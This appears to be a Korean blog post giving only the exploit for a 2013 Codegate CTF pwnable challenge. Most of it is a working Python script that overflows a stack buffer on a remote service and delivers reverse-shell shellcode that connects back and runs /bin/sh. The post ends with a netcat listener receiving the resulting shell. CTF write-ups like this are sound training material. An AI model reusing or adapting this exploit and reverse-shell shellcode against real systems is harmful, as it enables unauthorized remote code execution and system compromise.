Codegate 2013 Qual - Vulnerab 200 (Exploit only)

2013. 4. 17. 01:46·CTF/2013

Category : Pwnables


level2


Summary : simple stack-based remote buffer overflow


Exploit

#!/usr/bin/python


from socket import *

from struct import pack


p = lambda x : pack("<L", x)


HOST = "localhost"

HOST = "58.229.122.19"

PORT = 7777


recv_plt = 0x08048780

freespace = 0x0804B0f0

pr = 0x08048983

fd = 4


shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\x00\x00\x00\x00\x66\x68\x7a\x69\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# reverse connection with /bin/sh


payload = ""

payload += "a"*0xef

payload += p(recv_plt)

payload += p(pr)

payload += p(fd)

payload += p(freespace)

payload += p(len(shellcode))

payload += p(0)


s = socket()

s.connect((HOST, PORT))

s.recv(1024)

s.send("write "+payload)

s.recv(1024)

s.send(shellcode)

s.close() 



root@ubuntu:~/vuln/200# ./exploit.py 


----------------------------------------------------------------


root@ubuntu:~/vuln/200# nc -lv 31337

Connection from 58.229.122.19 port 31337 [tcp/*] accepted

id

uid=1001(codegate2013) gid=1001(codegate2013) groups=1001(codegate2013) 


저작자표시 (새창열림)

'CTF > 2013' 카테고리의 다른 글

Plaid CTF 2013 - pork (Exploit only)  (0) 2013.04.22
Codegate 2013 Qual - Vulnerab 500 (Exploit only)  (0) 2013.04.17
Codegate 2013 Qual - Vulnerab 400 (Exploit only)  (0) 2013.04.17
Codegate 2013 Qual - Vulnerab 300 (Exploit only)  (0) 2013.04.17
Codegate 2013 Qual Pwnable Chal Exploits  (0) 2013.04.17
'CTF/2013' 카테고리의 다른 글
  • Codegate 2013 Qual - Vulnerab 500 (Exploit only)
  • Codegate 2013 Qual - Vulnerab 400 (Exploit only)
  • Codegate 2013 Qual - Vulnerab 300 (Exploit only)
  • Codegate 2013 Qual Pwnable Chal Exploits
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    web
    HUST2011
    정보보호올림피아드
    csaw ctf
    pwnables
    vuln
    POC
    csaw
    power of community
    HUST
    gnuboard
    후기
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Codegate 2013 Qual - Vulnerab 200 (Exploit only)
상단으로

티스토리툴바